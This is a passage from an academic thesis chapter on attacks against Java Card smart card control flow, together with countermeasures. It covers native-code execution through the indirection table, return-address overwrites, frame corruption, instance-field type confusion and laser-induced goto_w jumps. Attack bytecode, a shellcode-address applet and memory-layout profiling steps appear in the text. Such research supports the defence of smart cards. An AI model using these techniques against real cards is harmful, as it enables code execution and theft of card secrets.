the JPC can be updated by a conditional branching (if instructions) or an always-branching

instructions (with goto). In this case, the new JPC value must refer to an instruction inside the

current method area.

Finally, when an abnormal situation comes, an exception is thrown inside with a try-statement

and handled by catch-statement. To catch, the exception should have the same type as the catch

clause. An uncaught exception, in the current method, is propagated upon the Java call stack until

the JCRE found an appropriate catch-statement. If there is no appropriate catch-statement, the

JCVM stops the applet execution and returns the status word 0x6F00. A finally-clause can also

be attached to a try-catch block. The code inside the finally-clause will always be executed,

even if an exception is thrown from within the try or catch block. Moreover, if your code returns

inside the try or catch block, the code inside the finally-block will be executed before returning

from the method.

Using the FTA, new approaches to corrupt the Java Card control flow was discovered. During

the invocation of a method, Section 7.1, the control flow can branch to an unexpected function.

Worse still, a native function can be called without any verification from the Java Card API. If

there are no appropriate countermeasures, some native instructions may be executed with the

operating system access rights. This case is explained in Section 7.1.1.

The frame restoration process can also be fooled. When a return instruction is executed, the

information stored in the frame’s header is used to build up the caller’s frame. Corrupting the

frame header can redirect or perturb the application’s control flow. It is explained in Section 7.1.2.

To protect the frame, two mechanisms is presented in Section 7.1.3. The first one implements the

concept of the dual stack where the references grow down from the top of stack and the values

grow up from the bottom. The second one is designed by Lackner et al. [Lac+12] and embeds the

type information of each entry in the frame.

Next, the control flow can be corrupted by a branching condition which shall update the JPC

value inside the current method. An incorrect behaviour is a jump outside the current method or to

an unexpected fragment of code inside the method which desynchronises the application’s control

flow. The application comes to a state where the integrity of the code is broken. In Section 7.2,

we focus on the conditional branching instructions which can be cheated upon a new kind of type

confusion via the heap, Section 7.2.1.1. With this confusion, an attacker can bypass a conditional

instruction. Against the branching instructions, the EMAN4 attack was developed, as explained

in Section 7.2.1.2, which purpose is to modify the control flow from backward to forward by a laser

fault injection.

The control flow can be also fooled by the finally instructions, presented in Section 7.2.2. To

conclude this section, a countermeasure to protect the JPC is introduced.
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Finally, another event, disclosed upon the FTA, is the execution of unreachable fragment

of code. An application, which contains unreachable code, is installed on a card after a BCV

verification. As the BCV partially checks the unreachable code, this one may not be compliant

with the Java Card security rules. A fault injected on a specific instruction can update the control

flow to this unreachable code and execute some malicious instructions. This behaviour is explained

in Section 7.3.

Before concluding this chapter, a high-level countermeasure to protect the control flow is

described. This security mechanism, based on the security automatons is explained in Section 7.4.

7.1 Method Invocation and Return

7.1.1 Invoking Native Methods

The Java Card architecture, Figure 3.6, Chapter 3, allows only the developer to execute native

methods through the Java Card API. In the Java world, executing a method outside the JVM is

offered by the JNI interface. During the compilation, each Class file which use a native method

is linked with a library where the native method is implemented.

From the Java Card architecture, the developer is not allowed to execute directly native method.

The Java Card API should be used to call the proprietary native API. From the specification, the

native functions access is not taken into account:

“This specification does not include support for native methods, so there are no native

method stacks.” (source: JCVM specification [Ora11d, §3.3 – Runtime Data Areas]).

7.1.1.1 JNI inside the JVM

In Java, a method is called by an invoke instruction followed by a reference to the called method.

A Java method is composed by a header, as the method_info structure, and a byte array which

represents each method’s instruction. A method reference points a method_info structure. A

method’s header is composed by method’s name, the method’s description (package name, class

name, method’s fields, the method’s signature, etc.) and the method’s type, defined by the field

access_flags.

If the access_flag is set to the value ACC_NATIVE (0x1000), so the method is defined as a

native one. When this kind of method is called, a name-based resolution is done through the JVM.

In the JNI specification [Lia99], this resolution is done through an indirection table. This table

structure’s is implementation-dependent.

To invoke a native method, the JVM searches the indirection table that contains the native

methods callable by the current application. When the native method is found, the JVM exists

the Java world and execute the native fragment of code upon the operating system. Once this

native function is executed, the JVM switches back to the Java world.
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7.1.1.2 JNI and Java Card

Assume that a snapshot of a smart card EEPROM area was obtained on a card which does not

embed a BCV. Moreover, the targeted card has no hidden mechanism for addresses. On this card,

we succeed an attack as EMAN2 (explained in Section 7.1.2.2). During the analysis of each linked

applets into the smart card memory, a method with an unexpected call has been noticed at the

address 0xDBE6 listed in Listing 7.1.

Listing 7.1: Calling a method stored in EEPROM at the address 0xDBE6.

/∗0xDBE6∗/ 01 // f l a g s : 0 max_stack : 1

/∗0xDBE8∗/ 00 // nargs : 0 max_locals : 0

/∗0xDBE9∗/ invokestatic 0xDBC7

/∗0xDBEC∗/ ifnonnull 0x08

/∗0xDBEE∗/ sspush 0x6F00

/∗0xDBF0∗/ invokstatic 0x6F05 // ISOException . t h r o w I t (0 x6F00 ) ;

/∗0xDBF3∗/ return

At 0xDBE9, the invokestatic instruction refers to a method in the EEPROM area. This

method is located at 0xDBC7. At this address several unspecified methods have been found and

are given in Table 7.1.

Table 7.1: Array with the called methods.

0xDBC4 0x21 0x01 0x32 0xE681 0x21 0x00 0x3F

0xDBC7 0x24 0x00 0x33 0xE684 0x21 0x00 0x40

0xDBCA 0x24 0x00 0x34 0xE687 0x21 0x00 0x41

0xDBEA 0x22 0x01 0x35 0xE68A 0x21 0x00 0x42

0xDBF9 0x22 0x00 0x36 0xE024 0x22 0x00 0x43

0xDF7D 0x21 0x02 0x37 0xE69C 0x21 0x02 0x44

0xE66C 0x24 0x01 0x38 0xE69F 0x21 0x03 0x45

0xE66F 0x24 0x00 0x39 0xE6A2 0x22 0x01 0x46

0xE672 0x21 0x00 0x3A 0xF251 0x24 0x01 0x47

0xE675 0x24 0x00 0x3B 0x96BC 0x23 0x00 0x48

0xE678 0x24 0x00 0x3C 0xF32D 0x22 0x01 0x49

0xE67B 0x22 0x00 0x3D 0xF330 0x22 0x02 0x4A

0xE67E 0x24 0x04 0x3E 0xF7B5 0x24 0x02 0x4B

The JCVM specification [Ora11d, §6.10 – Method Component] defines a method as a

method_header_info, described in the Listing 7.2, and its associated byte code.

For the flag value, three defined possibilities are expected:

• 0x0: it is a normal method;
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Listing 7.2: Java Card Method Header Info.

method_header_info {

u1 bitfield {

bit [4] flags // a mask o f m o d i f i e r s d e f i n e d f o r the method
bit [4] max_stack // max c e l l s r e q u i r e d dur ing e x e c u t i o n o f t he method

}

u1 bitfield {

bit [4] nargs // number o f parameters passed to the method
bit [4] max_locals // number o f l o c a l v a r i a b l e s d e c l a r e d by the method

} }

• 0x8 (ACC_EXTENDED): the method requires more than 127 parameters, local variables or

words in the operand stack. For that purpose, this kind of method has an extended header;

• 0x4 (ACC_ABSTRACT): the method is an abstract method;

• All other flag values are reserved.

Each method listed in the Table 7.1 contains non standardised flag value (0x2). Moreover,

the associated byte code (1-byte) cannot be an instruction. A set of interesting values has noticed

in the EEPROM part which are given in Table 7.2. Assume that these values are addresses which

refer to ROM area, except the one in red colour which points out to the EEPROM.

Table 7.2: List of addresses in the EEPROM.

0x0 0x2 0x4 0x6 0x8 0xA 0xC 0xE

0x8060 0x5800

0x8070 0x7E84 0x6ADC 0x6AED 0x6AFE 0x1800 0x7F08 0x7F29 0x7F02

0x8080 0x7F24 0x7EFC 0x5E79 0x47AD 0x6732 0x6B85 0x49DD 0x68BD

0x8090 0x5F9F 0x5DC9 0x631D 0x4638 0x5EA5 0x7E01 0x0FEB 0x6915

0x80A0 0x6C22 0x68A7 0x5FEF 0x6B0F 0x6B20 0x6B31 0x6B42 0x6B53

0x80B0 0x7EF0 0x38BE 0x62D9 0x5767 0x6B64 0x4EA3 0x55DA 0x7F31

0x80C0 0x7F46 0x5208 0x378F 0xFF5C 0x6515 0x5CE5 0x7EF6 0x67C7

0x80D0 0x7F1A 0x63A0 0x6732 0x49DD 0x7EA2 0x61E4 0x641F 0x67AF

0x80E0 0x37FB 0x692A 0x6732 0x17FB 0x7E7A 0x487C 0x1686 0x7DE9

0x80F0 0x7F35 0x7EEA 0x7F1F 0x5AEA 0x2AAC 0x7D9C 0x7EE4 0x7D8F

0x8100 0x61E4 0x67F7 0x2797 0x64D9 0x6000 0x009C 0x009E 0x0000

To prove this hypothesis, the data contained at the address 0xFF5C are checked to understand

the meaning of this table. Located there, a method in 8051 assembly language which corresponds

to the native code for the targeted card.

This table is used to switch between the Java Card world and native layer. Let’s assume to have

an invokestatic instruction which calls a method with a flag value 0x2. This non standardised
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method has an offset to the indirection table which gives the address associated to the native

method, illustrated in Figure 7.1.

Indirection table

Offset table

unstandard method

21 00

@code 8051

native code
...

invokestatic

...

Figure 7.1: Indirection table usage.

7.1.1.3 EMAN3: All Roads Lead to ROM

The previous section explains how the JCVM executes native code using an indirection table.

Bouffard et al. [Bou+14a,Bou+14d] abused this mechanism to execute our native code and the

associated countermeasure. To perform this attack, an attacker is able to read and write in the

memory and one can install an applet on the target. As the targeted card does not embed any

BCV, he can install an ill-formed application. So, the EMAN2 attack (Section 7.1.2.2) meets these

requirements.

As described in Figure 7.1, a fake method (a method with a flag value equals to 0x2) contains

an offset to an address in the indirection table. Each element in the indirection table refers to a

native function. At this offset, the address of the shellcode is stored. Without integrity check, the

Java Card runtime will execute the malicious code.

This attack is split into four steps. First, into a CAP file, the fake method and an invokestatic

instruction which calls the fake method are inserted. Second, an array that contains the malicious

native code is created. Third, the address of the native shellcode is written in the indirection table.

To know the array address of the smart card memory, a type confusion can be done. Four, the

fake method is updated, as explained in [IC+10], to set the correct offset in the indirection table to

refer the shellcode address. When the invokestatic instruction, which refers to the fake method

is called, the native shellcode is executed. This piece of 8051-code reads each byte contained in an

address range. This range shall be in the ROM or EEPROM memory. Each read byte is copied

into the APDU buffer.

In this section, the JNI mechanism is exploited in a Java Card smart card to execute a shellcode

coded in 8051-assembly language. With this shellcode, one is able to execute a shellcode outside the
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JCVM world with the operating system access right. Ensuring the confidentiality of the indirection

table can be done by an xor operation.

Therefore, the method invocation mechanism is analysed. To continue this studying, the control

flow may be broken during the process which backup and restore the invoker’s state. The invoker’s

state is saved in the pushed frame during a method invocation and restored during a method

return.

7.1.2 Frame Corruption

A Java Card smart card contains two stacks, the native one and the JCVM stack. The first one is

used by the smart card operating system and the native methods. The second one is manipulated

by the JCVM to execute Java Card applications. Focus on the Java Card stack.

Described by the JCVM and the JVM specifications, the stack contains a set of frames. A

frame is pushed when a method is invoked. The specification explicitly defines the frame as a

container of three areas: the local variables, the operand stack and the frame data. The sizes of

the local variables and operand stack, which are measured in words, depend upon the needs of

each individual method. These sizes are determined at compile time and included in each method’s

header. The size of the frame data is proprietary implementation dependent. When a method is

invoked by the JCVM, the method header is checked to determine the number of words required

by the method in the local variables and operand stack. It creates a stack frame of the proper size

for the method and pushes it onto the Java stack.

From the JVM specification, the JVM must restore the state of the invoker from the current

frame. The specification [Lin+13, §2.6.4 – Normal Method Invocation Completion] points that the

state of the invoker includes the number of local variables, the size of the operand stack and the

program counter of the invoker.

This section presents how one can corrupt the frame data to modify the application control

flow. First, in Section 7.1.2.2, we focus on the caller address. This address is used when a return

instruction is executed to jump to the instruction which follows the caller one. A modification of

this address leads to execute any code with the invoker’s context.

Another means to corrupt the invoker’s state is to change the number of its local variables and

its operand stack. Explained in Section 7.1.2.3, this event affects the local variables values, the

frame data and the operand stack elements. It can lead the application to an unexpected behavior.

Before study the Java Card stack security, we should understand the frame implementation.

7.1.2.1 The Java Card Stack from the Literature

As the Java stack, The Java Card stack depends on an implementation-dependent structure.

However, as described by Faugeron [Fau13], most of the proprietary implementations are designed

such as Figure 7.2. This implementation was presented by Barbu in his PhD memory [Bar12].

As presented by Barbu [Bar12], the Java Card frame’s data includes:
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Previous frame Frame grows like that => Next frame

. . . Local Variables Frame’s Data Operand Stack . . .

Figure 7.2: A Java Card stack.

• the number of word in local variables of the invoker method,

• the number of word pushed in the invoker’s operand stack,

• the invoker’s JPC to execute the invoker following instruction (the return address) and

• the context of the current method.

The order of those elements depends on the implementation. However, due to the limited

resources embedded into a smart card, the Java Card stack is often untyped and no bound checks

are performed.

In her article [Fau13], Faugeron shifted the current context by the JCRE context (0x0000).

To begin this analysis, let’s focus on the return address.

7.1.2.2 EMAN2: Set Up the Return Address to Go To Infinity and Beyond

In [Bou+11b], Bouffard et al. presented how to modify the frame’s header entry. This section

explains how this register can be corrupted to execute a specific shellcode. For this explanation,

the shellcode will be stored in a Java array. To success this attack, it hypothesises that the card

does not embed any BCV component. Moreover, the loading keys are known. In the case of the

targeted card has one, a laser fault, like the one explained in [Bar+10] or the one presented in

Section 7.2.1.2, can enable this attack.

The preliminary step is to recover the internal reference of the array which contains the shellcode.

7.1.2.2.1 How to obtain the Address of the Malicious Array? As explained in Chapter 4,

Iguchi-Cartigny et al. [IC+10] succeed, via a type confusion, to retrieve the address of an object

given in parameter to a malicious function. Therefore, same process will be used.

On the targeted Java Card implementation, the retrieved address of the shellcode refers the

array metadata. The array header is structured by 6 bytes that include the type and the number

of contained elements. If the array is transient, the RAM array address follows the header. Else,

the array data is stored after the 6-byte header.

7.1.2.2.2 Fooling Return Address to Execute a Malicious Code The EMAN2 attack

aims to update the return address register with a buffer overflow attack from the local variable.

The JCVM specification [Ora11d, §7 – JCVM Instruction Set] defines a set of typed instructions,

such as sstore and sload (c.f. Section 3.2.3.1), followed by a 1-byte index to read and write at a

specific local variable. The maximum number of variables that may be used in a method is 255.
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It includes local variables, method parameters, and in case of an instance method invocation, a

reference to the object on which the instance method is being invoked.

Listing 7.3: Function used to modify the return address for the EMAN2 attack.

1 public class MyApplet extends javacard . framework . Applet {

2 public void modifyStack (byte [] apduBuffer , APDU apdu , short a) {

3 short return_address = (short) 0;

4 short shellcode_address = ( short)

5 ( getMyAddressByteArray ( SHELLCODE ) // Ge t t ing the array i n t e r n a l r e f e r e n c e

6 + ARRAY_HEADER_SIZE ); // I n c r e a s e the addre s s by the array header s i z e

7 return_address = shellcode_address ;// M o d i f i c a t i o n o f t he r e tu rn addre s s v a l u e

8 } }

Assume the method in Listing 7.3. This function contains two variables, return_address

and shellcode_address. The first one will be used to modified the return address located in

the current frame. The second one will save the address of the shellcode. Line 5, the function

getMyAddressByteArray() get, trough a type confusion, the internal reference of the array given

by its parameter (there, the SHELLCODE array). Next, the internal reference is increased by the

array header’s size to point the shellcode. The instruction, line 7, aims to cheat the return address.

The byte code version is shown in Listing 7.4. This function has six local variables including

the this reference (local variable 0), the function’s parameters (local variables 1 to 3), i in the

local variable 4 and j into the local variable 5. Focus on the instructions which copy the value of

the shellcode_code to return_address variable, line 7 of Listing 7.3. From the offset 0x12 and

0x14, at Listing 7.4, the sload 5 instruction pushes the local variable 5 into the operand stack

and the sstore 4 instruction stores the last short value pushed on the stack to the local variable

4.

Listing 7.4: The function’s byte code of the one shown in the Listing 7.3.

public void modifyStack (byte [] apduBuffer , APDU apdu , short a) {

/∗0 x00 ∗/ 02 // f l a g s : 0 max_stack : 2
/∗0 x01 ∗/ 42 // nargs : 4 max_locals : 2
/∗0 x02 ∗/ sspush 0xCAFE

/∗0 x05 ∗/ sstore 4

/∗0 x07 ∗/ aload_0

/∗0 x08 ∗/ getstatic_a 0x0000

/∗0x0A∗/ invokevirtual 0x0001

/∗0x0D∗/ bspush 6

/∗0x0F∗/ sadd

/∗0 x10 ∗/ sstore 5

/∗0 x12 ∗/ sload 5

/∗0 x14 ∗/ sstore 4

/∗0 x16 ∗/ return }

If the operand of the sstore instruction points an element outside the local variables area, the

frame data can be corrupted. On the targeted JCVM, the return address is the second element
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inside the frame data. So, assume that the local variable 6 contains the return address.

To modify the return address, the sstore instruction operand at the offset 0x14 is corrupted

in Listing 7.3 from 4 to 6 in order to write, into the local variable 6, the internal reference of the

array. Therefore, as this function contains only six local variables, a buffer overflow attack can be

done from the local variable area. The targeted JCRE embeds an interpreter that relies entirely

on the byte code verification process, them allowing to overwrite the return address.

When the return instruction is executed, from the offset 0x16 at Listing 7.3, the interpreter

restore the invoker’s state from the current frame. As the return address value is not the correct

one, the JPC is updated in such way that the execution continues in the shellcode with the same

state of the invoker.

In this section, a way to fool the execution flow through an invalid return address has been

introduced. This way breaks the code integrity. The Java specification defines this element as a

part of each frame data used to restore the invoker’s state. Depending on the JCVM, this element

is in a different location inside the frame header. Moving the invoker’s address to another one offers

a way to execute illegal instructions. Therefore, the unchecked local variables is used to modify

the return address. As avatar of the EMAN2, Faugeron [Fau13] exploited a buffer underflow on

the stack to get access to the return address. The consequences of her attack is the same as the

EMAN2.

Now, let’s focus on the number of the local variables and the size of the operand stack of invoker

contained inside the frame data.

7.1.2.3 Restore an Ill-Formed Frame

Another information that should be protected in the frame header is the number of words of the

local variables and the number of word pushed into the operand stack of the caller’s frame. Used

to restore the state of the invoker, a modification of these elements breaks the code integrity.

7.1.2.3.1 Restore the Caller’s Frame On the analysed implementation, the frame’s data

header contains a 2-byte word defining the number of word in local variables of the caller method

and number of word pushed on the invoker’s operand stack. Each information is stored in a half

of this value (1 byte).

Assume the functions shown in Listing 7.5. The function caller invokes callee. To call this

function, the this reference and l1 value are pushed on the stack. Before the call of the callee

function, the frame of the caller function should be like the one presented in the Figure 7.3(a).

During the invocation of the callee function, a new frame is pushed on the caller method

frame. As shown in Figure 7.3(b), the new frame includes the parameters pushed into the caller

operand stack.

Focus on the frame’s header. It includes the caller’s frame size which it used to restore the

state of invoker. On the analyzed implementation, this value is the concatenation of the number
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public void caller (short l1) {

// C a l l t h e c a l l e e f u n c t i o n
short l2 = l1 +

this. callee (l1); }

public void callee ( short l1) {

short l2 = l1 , l3 = (short)0xCAFE;

// Doing some s t u f f
return l3; }

Listing 7.5: A method invocation in the Java Card world.

short l1

Object @this

short l1

Header data

short l2

short l1

Object @this

sload_1 // Pushing l1
aload_0 // Pushing @this
sload_1 // Pushing l1
invokevirtual @callee

sadd

sstore_2 // Saving to l2
return

Operand
stack

Local
variables

(a) Frame of the caller method.

0xCAFE

Caller’s frame size
Security context

Return address
short l3

short l2

short l1

Object @this

short l1

Header data

short l2

short l1

Object @this

aload_0 // Pushing @this
sload_1 // Pushing l1
invokevirtual @callee

sadd

sstore_2 // Saving to l2
return

sload_1 // Pushing l1
sstore_2 // Storing l1 l2
sspush 0xCAFE

sstore_3 // Storing to l3
... // Do some stuff
sload_3 // pushing l3
sreturn

(b) Frame of the callee function.

Figure 7.3: Java Card stack during a method invocation.

of words pushed in the caller’s operand stack, as the high part, and the number of words needed

to reference the begin of the invoker method’s frame. For instance, a caller’s frame which contains

one word pushed into the operand stack (excluded callee’s parameters), three words into the frame

header and three local variables, the callee will have 0x0107 as value to restore the state of the

invoker. This value corresponds to the one saved into Figure 7.3(b) to restore the caller’s frame.

7.1.2.3.2 Having Trouble Restoring the Frame of the Invoker To restore the caller’s

frame, the JCVM used the value stored into the current frame header. Modifying it can break the

control flow of the caller and/or access to not allowed information in the correct way.

This attacks comes under the hypothesis, as the EMAN2 attack, that the bounds of each

frame’s area is not checked. Moreover, the target allows to load applet post insurance and no BCV

is embedded.

Modifying the caller’s frame size desynchronises the previous frames. So, suppose that the

callee function byte code contains the couple instruction sload_1, sstore_6 as the local variable

1 is pushed to the operand stack and this value is stored in the local variable 6. However, the

callee function has only four local variables. Like the EMAN2 attack, one refers a local variable

outside the local variables area upon a stack overflow. To describe this modification, assume that

the local variable 1 contains the value 0x020A. In Figure 7.4(a), the value 0x020A sets the frame
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size of the caller function. When the sreturn instruction of the callee function will be executed,

the restored caller’s frame is corrupted, as shown in Figure 7.4(b).

0x0209

Caller’s frame size
Security context

Return address
short l3

short l2

short l1

Object @this

short l1

Header data

short l2

short l1

Object @this

Unknown value
Unknown value
Unknown value

sload_1 // Pushing l1
aload_0 // Pushing @this
sload_1 // Pushing l1

⇒ invokevirtual @callee

sadd

sstore_2 // Saving to l2
return

sload_1 // Pushing l1
sstore_2 // Storing l1 → l2
... // Do some stuff
sload_1

⇒ sstore_6

... // Do some stuff
sload_3 // pushing l3
sreturn

(a) Frame of the callee function.

callee’s return
short l1

Caller’s frame size
Security context

Return address
short l2

short l1

Object @this

Unknown value
Unknown value
Unknown value

sload_1 // Pushing l1
aload_0 // Pushing @this
sload_1 // Pushing l1
invokevirtual @callee

⇒ sadd

sstore_2 // Saving to l2
return

(b) Frame of the caller method.

Figure 7.4: Java Card frame stack state when the method return is corrupted.

In this example, the caller method continues its execution with the desynchronized frame.

So, the code will manipulate unexpected values. Moreover, Figure 7.4(b) notices that the local

variables area was grown down in such way that three more words are included. Theses words are

located before the caller’s frame and may be a part of the caller of the caller method. Therefore,

the code integrity, the data integrity and the data confidentiality are broken.

7.1.3 Protecting the Java Card Frame

The most obvious countermeasures are related to under or overflow of the stack but their coverage

is low: a lot of malicious application can bypass these controls. The dynamic type verification is

probably one of the most efficient countermeasures. It has to verify that the content on top of the

stack is of the exact type expected by the next instruction. To obtain a dynamic type verification,

the virtual machine needs to infer dynamically the type of locals and the type of each element

on the top of the stack. But this is known to be costly in term of computation and memory

space because the virtual machine must keep the stack evolution in term of type, which means

to have a second stack where the type of the content of the stack are stored. After executing an

instruction, the VM must evaluate the typed stack with regard to the executed instruction. Such

a mechanism is not affordable into a resource constrained device like a smart card. Hereafter, two

simpler mechanisms for type classification are proposed. The first one, published in [Dub+12],

costs only one pointer in memory. This countermeasure has a small footprint on the runtime. The
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second one was designed by Lackner et al. [Lac+12]. It is a dynamic countermeasure through the

hardware layout to speed up the verification process.

7.1.3.1 Dual Stack Protection: a Low-Cost Typed Stack

This countermeasure was first presented in [Dub+12] and extended in [Dub+13]. The cornerstone

of this mechanism is to process references and values in a different way. It is possible to obtain a

dynamic type checking by separating the operand stack into two areas one reserved for values and

one for references. These two areas fill the same memory space used by the regular stack. The

changes in the dual stack are just the place where you will find elements.

Here is an example showing how the dual stack works compared to a regular stack. If a program

pushes on the stack one value and two references. To begin, it pushes a value, then pushes the

first reference, and then finally the last reference is pushed (Table 7.3 through Table 7.5).

Regular stack Dual stack

⇓

⇑ ⇑
value value

Table 7.3: Dual stack: push a value.

Regular stack Dual stack

⇓reference 1

⇑
reference 1

⇑
value value

Table 7.4: Dual stack: push a reference.

Regular stack Dual stack

⇓reference 1

reference 2 reference 2

⇑
reference 1

⇑
value value

Table 7.5: Typed stack: push a second reference.

With the dual stack, there are two areas, one is at the bottom for the values and the other

one is at the top for the references. The normal stack has one pointer called top of stack, but for

the dual stack, one needs two pointers, one pointing the top of the values and one for top of the

references.

7.1.3.2 Type and Bound Protection

Another approach to protect the frame is an access control through the hardware layout. Lackner

et al. [Lac+12,Lac+13a,Lac+13b] have developed a defencive JCVM where a defencive runtime

policy is implemented.

On their defensive JCVM, when an instruction accesses to the frame, the type and the frame’s

bounds are verified. To model the type of each manipulated element on the Java Card frame,
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Lackner et al. designed two sort of structures: the type stored in the same stack or and the type

separated. On the one hand, each entry is extended by the type information to distinguish value

and reference. During runtime, the JCRE checks for each instruction the type expected for each

manipulated entry on the operand stack or the local variable. On the other hand, the entry’s

type are stored in another frame which is filled by the data type (numerical value and reference)

computed on the method operand stack and local variable memory area through an hardware

acceleration [Lac+13b]. Each item is sorted according to their type. Thus, a type confusion is no

longer possible during runtime.

7.2 Security of the Branching Instructions in Java Card

Now, focus on the branching instruction. They are used to transfer the control flow to another

part of code.

In this section, we discuss about the security of instructions which update the control flow to

refer the next instruction inside the current method. Pointing out by the specification, the control

flow can be updated from a condition, if instructions, unconditional instructions, goto ones, and

finally clauses. This section concludes by a proposed countermeasure for preventing the JPC

from any modification.

7.2.1 Cheating the Branching Operations

7.2.1.1 Type Confusion on a Typed Stack to Confuse the Control Flow

The Java Card heap contains the runtime data for all class instances and allocated arrays. The

instance data can be a reference to an object, an instance of a class or a numerical value. Unlike

the classical Java platform, the Java Card has two heaps. There are both of the persistent heap,

where each non-volatile object is stored in the EEPROM area, and the volatile heap which contains

all session objects. The second one is located in RAM. Due to the limited resources, the instance

data are often not typed. To have access to the instance fields, the Java Card specification [Ora11d,

§7.5 – The JCVM Instruction Set] defines getfield_<t>_this and putfield_<t>_this as typed

instructions on a t typed element. The type t can be a reference (<t> is replaced by a), a short

value (type is s), etc. The getfield_<t>_this instruction pushes the field value onto the stack.

On the opposite, the putfield_<t>_this instruction stores the latest pushed value. From the

stack point of view, the last element must be a t type.

Latest smart cards based on Java Card technology increasingly implement typed stack. As

introduced by Bouffard et al. [Bou+14b], to succeed in a type confusion on this kind of platform,

the untyped instance fields are exploited. Hypothesise that the card does not embed in any BCV.

Let us assume the code shown in Listing 7.6. This method aims to convert a short value given in

parameter to a reference returned.
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Listing 7.6: Type confusion through Java Card instance fields.

Object exploitTypedStack (short address ) {

02 // f l a g s : 0 max_stack : 2

12 // nargs : 1 max_locals : 2

/∗0x5F∗/ L0: sload_1

/∗0 x60 ∗/ putfield_s_this 0

/∗0 x62 ∗/ getfield_a_this 0

/∗0 x64 ∗/ areturn }

In Listing 7.6, the field 0 is accessed as a short value (at 0x60) and as a reference value (at

0x62). In the case of a typed stack, only two types are supported, the short and reference types.

The putfield_s_this instruction (at 0x60) saved this value given in parameter into the field

0. The getfield_a_this (from 0x62) pushes the value of the field 0 to stack as a reference. A

type confusion can then be performed on the instance fields. Therefore, the short value given as

parameter is then returned as a reference value. From the Java Card stack side, the type of each

manipulated element is correct. Nonetheless, a type confusion has been performed during the field

manipulation.

In this section, a new typed confusion attack have introduced on Java Card smart cards which

embed a typed stack. As the stack mechanism cannot be cheated, this attack exploits the instance

fields which are often untyped. Thus, the type confusion attack moves from the Java Card stack

to the instance fields.

7.2.1.2 EMAN4: To Infinity and Beyond

Another event revealed by FTA which breaks the code integrity is a faulty branching. A branching

comes from a conditional instruction or an instruction which always branch, as the goto operation.

A modification of the jump offset indirectly updates the JPC. The target address must be an

instruction within the method.

In this section, we study how a branching instruction can be corrupted to fool the application’s

control flow. Bouffard et al. [Bou+11b] faulted the goto instruction to jump outside the method,

in a specific array that contains few Java instructions. Suppose that an efficient component (like

at least partial implementation of the BCV component) is embedded. So, we met the same

requirements as Barbu et al. [Bar+10]. In this section, an external modification, caused by a laser

or electromagnetic fault injection, can corrupt a branching instruction to jump outside the current

method. The fault is injected after the installation of an applet checked by a BCV. This applet is

also compliant with the Java Card security rules. For the explanation, the effect of a laser fault

injection on a for loop is analysed. The same effects can be obtained on any other branching

instruction.

7.2.1.2.1 How Re-loop a For Loop The for loop is probably the most widely used in the

imperative programming languages. A classic for loop, such as the one in Listing 7.7, can be split
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in three parts. The first one is the declaration of the loop with the preamble (the initialisation

of the loop), followed by the stop condition and a code function executed at the begin of each

iteration. Next, the loop body contains the executed instructions for each iteration. Finally, a

jump instruction re-loop to the next iteration if the stop condition is not satisfied.

Listing 7.7: A for loop.

for ( short i = 0 ; i < 1 ; ++i){

byte foo = (byte) 0xBA;

byte bar = foo; foo = bar;

bar = foo; foo = bar;

bar = foo; foo = bar;

bar = foo; foo = bar;

bar = foo; foo = bar;

bar = foo; foo = bar;

bar = foo; foo = bar;

bar = foo; foo = bar;

bar = foo; foo = bar;

// Few i n s t r u c t i o n s have
// been hidden f o r a
// b e t t e r meaning .
bar = foo; foo = bar;

bar = foo; foo = bar;

bar = foo; foo = bar;

bar = foo; foo = bar;

}

Listing 7.8: Byte code of the Listing 7.7.

/∗0 x00 ∗/ sconst_0

/∗0 x01 ∗/ sstore_1

/∗0 x02 ∗/ sload_1

/∗0 x03 ∗/ sconst_1

/∗0 x04 ∗/ if_scmpge_w 0x007C

/∗0 x07 ∗/ aload_0

/∗0 x08 ∗/ bspush 0xBA

/∗0x0A∗/ putfield_b 0

/∗0x0C∗/ aload_0

/∗0x0D∗/ getfield_b_this 0

/∗0x0F∗/ putfield_b 1

// Few i n s t r u c t i o n s have
// been hidden f o r a
// b e t t e r meaning .
/∗0xE3∗/ aload_0

/∗0xE4∗/ getfield_b_this 1

/∗0xE6∗/ putfield_b 0

/∗0xE8∗/ sinc 1 1

/∗0xEB∗/ goto_w 0xFF17

According to the amount of instructions contained in the loop body, the re-loop instruction has

relative signed offset encoded on 1 byte (for goto instruction) or 2 bytes (for goto_w instruction),

as a relative jump between −128 to 127 inclusive or from −32 768 to 32 767 inclusive from the

branching instruction. Breaking the code integrity can be done through the goto_w statement.

An example of the goto_w operation is shown at the offset 0xEB from Listing 7.8.

7.2.1.2.2 When the goto_w Instruction Goes Mad Inside the card, an application with

the function shown in Listing 7.8 is installed. Moreover, the presence of, at least, a partial BCV

ensures that the installed application is compliant to the Java Card security rules.

A fault injection, based on a laser beam, on the smart card memory, against the goto_w

parameter can change the control flow of the applet. According to the fault model, a laser beam

injection on the goto_w parameter changes the value from 0xFF17 to 0x0017. That involves to

a relative jump to the 23th byte from the goto_w instruction instead of a backward jump of 233

bytes. However, if the memory is cyphered, to have a forward jump, the most significant bit of the

goto_w parameter should be set to 0. For the attacker point of view, he obtains a random value,

but, he has one in two chance of jump forward. Put after the goto_w instruction, the shellcode

located in a Java array. To success in placing it after the method area, the smart card memory

management should be characterised.
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7.2.1.2.3 Smart Card memory management The main difficulty regarding this attack is

the memory management. Indeed, the array which contains the shellcode must physically be

allocated after the function which contains the goto_w instruction. For that purpose, this step

should characterise how the data are stored inside a smart card memory. The following methodology

aims at understanding the algorithm used by the card to organise its memory:

1. Based on chosen applets, they are installed on the card within a careful snapshot of the

EEPROM memory between each installation. This process aims to detect the part allocated

for the installed applet inside the memory;

2. Next, the card is stressed by installing and deleting different applets size. At each operation,

a memory snapshot is kept.

On the analysed implementation, the memory management’s algorithm used is based on a best

fit algorithm where the applet data are stored after the method’s byte code. The smart card has

installed a limited number of applets without causing fragmentation. In this case, the applet data

is stored before its corresponding applet byte code.

In this case, there was no installed applet before the installation of an applet which contains

the function presented in Listing 7.8. The memory snapshot obtained is shown in Listing 7.9.

Listing 7.9: Memory organization of the installed applet which contains the goto_w instruction.

0x0A7F0: 18AE 0188 0018 AE00 8801 18AE 0188 0018

0x0A800: AE00 8801 18AE 0188 0018 AE00 8801 18AE

0x0A810: 0188 0059 0101 A8FF 177A 008A 43C0 6C88

0x0A820: A000 0000 0000 0000 0000 0000 0000 0000

0x0A830: 0000 0000 0000 0000 0000 0000 0000 0000

0x0A840: 0000 0000 0000 0000 0000 0000 0000 0000

0x0A850: 0000 0000 0000 0000 0000 0000 0000 0000

